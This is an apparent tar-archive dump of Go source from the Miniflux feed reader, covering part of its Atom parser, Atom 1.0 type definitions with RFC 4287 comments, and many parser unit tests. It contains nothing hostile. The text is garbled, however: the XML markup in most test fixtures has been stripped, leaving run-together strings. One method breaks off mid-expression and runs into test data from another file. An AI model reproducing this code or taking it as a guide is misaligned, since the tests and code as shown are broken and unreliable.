slog.String("date", value),
slog.String("id", atomEntry.ID),
slog.Any("error", err),
)
}
}
if entry.Date.IsZero() {
entry.Date = time.Now()
}
// Generate the entry hash.
for _, value := range []string{atomEntry.ID, atomEntry.Links.OriginalLink()} {
if value != "" {
entry.Hash = crypto.Hash(value)
break
}
}
feed.Entries = append(feed.Entries, entry)
}
return feed
}
v2-2.2.5/internal/reader/atom/atom_03_test.go 0000664 0000000 0000000 00000023312 14743520056 0020724 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"bytes"
"testing"
"time"
)
func TestParseAtom03(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.23972003-12-13T08:29:29-04:002003-12-13T18:30:02ZIt's a testHTML content]]>`
feed, err := Parse("http://diveintomark.org/atom.xml", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if feed.Title != "dive into mark" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "http://diveintomark.org/atom.xml" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "http://diveintomark.org/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
tz := time.FixedZone("Test Case Time", -int((4 * time.Hour).Seconds()))
if !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 8, 29, 29, 0, tz)) {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
if feed.Entries[0].Hash != "b70d30334b808f32e66eb19fabb263525cecd18f205720b583e84f7f295cf728" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash)
}
if feed.Entries[0].URL != "http://diveintomark.org/2003/12/13/atom03" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].Title != "Atom 0.3 snapshot" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
if feed.Entries[0].Content != "
HTML content
" {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
if feed.Entries[0].Author != "Mark Pilgrim" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseAtom03WithoutSiteURL(t *testing.T) {
data := `
2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.2397`
feed, err := Parse("http://diveintomark.org/atom.xml", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "http://diveintomark.org/atom.xml" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseAtom03WithoutFeedTitle(t *testing.T) {
data := `
2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.2397`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if feed.Title != "http://diveintomark.org/" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseAtom03WithoutEntryTitleButWithLink(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark Pilgrimtag:diveintomark.org,2003:3.2397`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "http://diveintomark.org/2003/12/13/atom03" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseAtom03WithoutEntryTitleButWithSummary(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark Pilgrimtag:diveintomark.org,2003:3.2397It's a test`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "It's a test" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseAtom03WithoutEntryTitleButWithXMLContent(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark Pilgrimtag:diveintomark.org,2003:3.2397
Some text.
`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "Some text." {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseAtom03WithSummaryOnly(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.23972003-12-13T08:29:29-04:002003-12-13T18:30:02ZIt's a test`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Content != "It's a test" {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
}
func TestParseAtom03WithXMLContent(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.23972003-12-13T08:29:29-04:002003-12-13T18:30:02Z
Some text.
`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Content != "
Some text.
" {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
}
func TestParseAtom03WithBase64Content(t *testing.T) {
data := `
dive into mark2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.23972003-12-13T08:29:29-04:002003-12-13T18:30:02ZPHA+U29tZSB0ZXh0LjwvcD4=`
feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Content != "
Some text.
" {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
}
v2-2.2.5/internal/reader/atom/atom_10.go 0000664 0000000 0000000 00000017026 14743520056 0017670 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"encoding/xml"
"html"
"strings"
"miniflux.app/v2/internal/reader/media"
)
// The "atom:feed" element is the document (i.e., top-level) element of
// an Atom Feed Document, acting as a container for metadata and data
// associated with the feed. Its element children consist of metadata
// elements followed by zero or more atom:entry child elements.
//
// Specs:
// https://tools.ietf.org/html/rfc4287
// https://validator.w3.org/feed/docs/atom.html
type Atom10Feed struct {
XMLName xml.Name `xml:"http://www.w3.org/2005/Atom feed"`
// The "atom:id" element conveys a permanent, universally unique
// identifier for an entry or feed.
//
// Its content MUST be an IRI, as defined by [RFC3987]. Note that the
// definition of "IRI" excludes relative references. Though the IRI
// might use a dereferencable scheme, Atom Processors MUST NOT assume it
// can be dereferenced.
//
// atom:feed elements MUST contain exactly one atom:id element.
ID string `xml:"http://www.w3.org/2005/Atom id"`
// The "atom:title" element is a Text construct that conveys a human-
// readable title for an entry or feed.
//
// atom:feed elements MUST contain exactly one atom:title element.
Title Atom10Text `xml:"http://www.w3.org/2005/Atom title"`
// The "atom:author" element is a Person construct that indicates the
// author of the entry or feed.
//
// atom:feed elements MUST contain one or more atom:author elements,
// unless all of the atom:feed element's child atom:entry elements
// contain at least one atom:author element.
Authors AtomPersons `xml:"http://www.w3.org/2005/Atom author"`
// The "atom:icon" element's content is an IRI reference [RFC3987] that
// identifies an image that provides iconic visual identification for a
// feed.
//
// atom:feed elements MUST NOT contain more than one atom:icon element.
Icon string `xml:"http://www.w3.org/2005/Atom icon"`
// The "atom:logo" element's content is an IRI reference [RFC3987] that
// identifies an image that provides visual identification for a feed.
//
// atom:feed elements MUST NOT contain more than one atom:logo element.
Logo string `xml:"http://www.w3.org/2005/Atom logo"`
// atom:feed elements SHOULD contain one atom:link element with a rel
// attribute value of "self". This is the preferred URI for
// retrieving Atom Feed Documents representing this Atom feed.
//
// atom:feed elements MUST NOT contain more than one atom:link
// element with a rel attribute value of "alternate" that has the
// same combination of type and hreflang attribute values.
Links AtomLinks `xml:"http://www.w3.org/2005/Atom link"`
// The "atom:category" element conveys information about a category
// associated with an entry or feed. This specification assigns no
// meaning to the content (if any) of this element.
//
// atom:feed elements MAY contain any number of atom:category
// elements.
Categories AtomCategories `xml:"http://www.w3.org/2005/Atom category"`
Entries []Atom10Entry `xml:"http://www.w3.org/2005/Atom entry"`
}
type Atom10Entry struct {
// The "atom:id" element conveys a permanent, universally unique
// identifier for an entry or feed.
//
// Its content MUST be an IRI, as defined by [RFC3987]. Note that the
// definition of "IRI" excludes relative references. Though the IRI
// might use a dereferencable scheme, Atom Processors MUST NOT assume it
// can be dereferenced.
//
// atom:entry elements MUST contain exactly one atom:id element.
ID string `xml:"http://www.w3.org/2005/Atom id"`
// The "atom:title" element is a Text construct that conveys a human-
// readable title for an entry or feed.
//
// atom:entry elements MUST contain exactly one atom:title element.
Title Atom10Text `xml:"http://www.w3.org/2005/Atom title"`
// The "atom:published" element is a Date construct indicating an
// instant in time associated with an event early in the life cycle of
// the entry.
Published string `xml:"http://www.w3.org/2005/Atom published"`
// The "atom:updated" element is a Date construct indicating the most
// recent instant in time when an entry or feed was modified in a way
// the publisher considers significant. Therefore, not all
// modifications necessarily result in a changed atom:updated value.
//
// atom:entry elements MUST contain exactly one atom:updated element.
Updated string `xml:"http://www.w3.org/2005/Atom updated"`
// atom:entry elements MUST NOT contain more than one atom:link
// element with a rel attribute value of "alternate" that has the
// same combination of type and hreflang attribute values.
Links AtomLinks `xml:"http://www.w3.org/2005/Atom link"`
// atom:entry elements MUST contain an atom:summary element in either
// of the following cases:
// * the atom:entry contains an atom:content that has a "src"
// attribute (and is thus empty).
// * the atom:entry contains content that is encoded in Base64;
// i.e., the "type" attribute of atom:content is a MIME media type
// [MIMEREG], but is not an XML media type [RFC3023], does not
// begin with "text/", and does not end with "/xml" or "+xml".
//
// atom:entry elements MUST NOT contain more than one atom:summary
// element.
Summary Atom10Text `xml:"http://www.w3.org/2005/Atom summary"`
// atom:entry elements MUST NOT contain more than one atom:content
// element.
Content Atom10Text `xml:"http://www.w3.org/2005/Atom content"`
// The "atom:author" element is a Person construct that indicates the
// author of the entry or feed.
//
// atom:entry elements MUST contain one or more atom:author elements
Authors AtomPersons `xml:"http://www.w3.org/2005/Atom author"`
// The "atom:category" element conveys information about a category
// associated with an entry or feed. This specification assigns no
// meaning to the content (if any) of this element.
//
// atom:entry elements MAY contain any number of atom:category
// elements.
Categories AtomCategories `xml:"http://www.w3.org/2005/Atom category"`
media.MediaItemElement
}
// A Text construct contains human-readable text, usually in small
// quantities. The content of Text constructs is Language-Sensitive.
// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1
// Text: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.1
// HTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.2
// XHTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.3
type Atom10Text struct {
Type string `xml:"type,attr"`
CharData string `xml:",chardata"`
InnerXML string `xml:",innerxml"`
XHTMLRootElement AtomXHTMLRootElement `xml:"http://www.w3.org/1999/xhtml div"`
}
func (a *Atom10Text) Body() string {
var content string
if strings.EqualFold(a.Type, "xhtml") {
content = a.xhtmlContent()
} else {
content = a.CharData
}
return strings.TrimSpace(content)
}
func (a *Atom10Text) Title() string {
var content string
switch {
case strings.EqualFold(a.Type, "xhtml"):
content = a.xhtmlContent()
case strings.Contains(a.InnerXML, "
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6Atom-Powered Robots Run Amokurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("http://example.org/feed.xml", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "http://example.org/feed.xml" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "http://example.org/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.IconURL != "" {
t.Errorf("Incorrect icon URL, got: %s", feed.IconURL)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 18, 30, 2, 0, time.UTC)) {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
if feed.Entries[0].Hash != "3841e5cf232f5111fc5841e9eba5f4b26d95e7d7124902e0f7272729d65601a6" {
t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash)
}
if feed.Entries[0].URL != "http://example.org/2003/12/13/atom03" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].CommentsURL != "" {
t.Errorf("Incorrect entry Comments URL, got: %s", feed.Entries[0].CommentsURL)
}
if feed.Entries[0].Title != "Atom-Powered Robots Run Amok" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
if feed.Entries[0].Content != "Some text." {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[0].Content)
}
if feed.Entries[0].Author != "John Doe" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseFeedWithoutTitle(t *testing.T) {
data := `
2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "https://example.org/" {
t.Errorf("Incorrect feed title, got: %s", feed.Title)
}
}
func TestParseEntryWithoutTitleButWithURL(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != "http://example.org/2003/12/13/atom03" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseEntryWithoutTitleButWithSummary(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != "Some text." {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseEntryWithoutTitleButWithXHTMLContent(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z
AT&T bought by SBC!
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != "AT&T bought by SBC!" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseFeedURL(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "https://example.org/" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.FeedURL != "https://example.org/feed" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
}
func TestParseFeedWithRelativeFeedURL(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/feed" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
}
func TestParseFeedWithRelativeSiteURL(t *testing.T) {
data := `
Example FeedTest/blog/article.html2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/blog/atom.xml" {
t.Errorf("Incorrect feed URL, got: %q", feed.FeedURL)
}
if feed.SiteURL != "https://example.org/blog" {
t.Errorf("Incorrect site URL, got: %q", feed.SiteURL)
}
if feed.Entries[0].URL != "https://example.org/blog/article.html" {
t.Errorf("Incorrect entry URL, got: %q", feed.Entries[0].URL)
}
}
func TestParseFeedSiteURLWithTrailingSpace(t *testing.T) {
data := `
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "http://example.org" {
t.Errorf("Incorrect site URL, got: %q", feed.SiteURL)
}
}
func TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) {
data := `
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/blog/atom.xml" {
t.Errorf("Incorrect site URL, got: %q", feed.FeedURL)
}
}
func TestParseEntryWithRelativeURL(t *testing.T) {
data := `
Example FeedTesturn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].URL != "http://example.org/something.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseEntryURLWithTextHTMLType(t *testing.T) {
data := `
Example FeedTesturn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].URL != "http://example.org/something.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseEntryURLWithNoRelAndNoType(t *testing.T) {
data := `
Example FeedTesturn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].URL != "http://example.org/something.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseEntryURLWithAlternateRel(t *testing.T) {
data := `
Example FeedTesturn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].URL != "http://example.org/something.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseEntryTitleWithWhitespaces(t *testing.T) {
data := `
Example Feed
Some Title
urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != "Some Title" {
t.Errorf("Incorrect entry title, got: %s", feed.Entries[0].Title)
}
}
func TestParseEntryWithPlainTextTitle(t *testing.T) {
data := `
Example FeedAT&T bought by SBC!urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.AT&T bought by SBC!urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
expected := `AT&T bought by SBC!`
for i := range 2 {
if feed.Entries[i].Title != expected {
t.Errorf("Incorrect title for entry #%d, got: %q instead of %q", i, feed.Entries[i].Title, expected)
}
}
}
func TestParseEntryWithHTMLTitle(t *testing.T) {
data := `
Example Feed<code>Code</code> Test<![CDATA[Test with “unicode quote”]]>
<![CDATA[Entry title with space around CDATA]]>
<![CDATA[Test with self-closing <tag>]]>`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 4 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].Title != "Code Test" {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
if feed.Entries[1].Title != "Test with “unicode quote”" {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[1].Title)
}
if feed.Entries[2].Title != "Entry title with space around CDATA" {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[2].Title)
}
if feed.Entries[3].Title != "Test with self-closing " {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[3].Title)
}
}
func TestParseEntryWithXHTMLTitle(t *testing.T) {
data := `
Example Feed
<div xmlns="http://www.w3.org/1999/xhtml">
This is <b>XHTML</b> content.
</div>
urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != `This is XHTML content.` {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
}
func TestParseEntryWithEmptyXHTMLTitle(t *testing.T) {
data := `
Example Feed
<div xmlns="http://www.w3.org/1999/xhtml"/>
urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != `http://example.org/entry` {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
}
func TestParseEntryWithXHTMLTitleWithoutDiv(t *testing.T) {
data := `
Example Feed
test
urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != `test` {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
}
func TestParseEntryWithNumericCharacterReferenceTitle(t *testing.T) {
data := `
Example FeedΣ ßurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != "Σ ß" {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
}
func TestParseEntryWithDoubleEncodedEntitiesTitle(t *testing.T) {
data := `
Example Feed'AT&T'urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Title != `'AT&T'` {
t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title)
}
}
func TestParseEntryWithXHTMLSummary(t *testing.T) {
data := `
Example FeedExampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z
Test: std::unique_ptr<S>
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Content != `
Test: std::unique_ptr<S>
` {
t.Errorf("Incorrect entry content, got: %s", feed.Entries[1].Content)
}
}
func TestParseEntryWithHTMLSummary(t *testing.T) {
data := `
Example FeedExample 1<code>std::unique_ptr<S> myvar;</code>Example 2<code>std::unique_ptr<S> myvar;</code>Example 3std::unique_ptr<S> myvar;]]>`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 3 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
expected := `std::unique_ptr<S> myvar;`
for i := range 3 {
if feed.Entries[i].Content != expected {
t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content)
}
}
}
func TestParseEntryWithTextSummary(t *testing.T) {
data := `
Example FeedExampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <S>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <S>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <S>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z]]>`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
expected := `AT&T `
for i := range 4 {
if feed.Entries[i].Content != expected {
t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content)
}
}
}
func TestParseEntryWithTextContent(t *testing.T) {
data := `
Example FeedExampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <strong>Strong Element</strong>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <strong>Strong Element</strong>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T <strong>Strong Element</strong>Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZStrong Element]]>`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
expected := `AT&T Strong Element`
for i := range 4 {
if feed.Entries[i].Content != expected {
t.Errorf("Incorrect content for entry #%d, got: %q instead of %q", i, feed.Entries[i].Content, expected)
}
}
}
func TestParseEntryWithHTMLContent(t *testing.T) {
data := `
Example FeedExampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T bought <b>by SBC</b>!Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZAT&T bought <b>by SBC</b>!Exampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Zby SBC!]]>`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
expected := `AT&T bought by SBC!`
for i := range 3 {
if feed.Entries[i].Content != expected {
t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content)
}
}
}
func TestParseEntryWithXHTMLContent(t *testing.T) {
data := `
Example FeedExampleurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Z
AT&T bought by SBC!
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Content != `AT&T bought by SBC!` {
t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content)
}
}
func TestParseEntryWithAuthorName(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.Meme@localhost`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "Me" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseEntryWithoutAuthorName(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.me@localhost`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "me@localhost" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseEntryWithMultipleAuthors(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.AliceBob`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "Alice, Bob" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseFeedWithEntryWithoutAuthor(t *testing.T) {
data := `
Example FeedJohn Doeurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "John Doe" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseFeedWithMultipleAuthors(t *testing.T) {
data := `
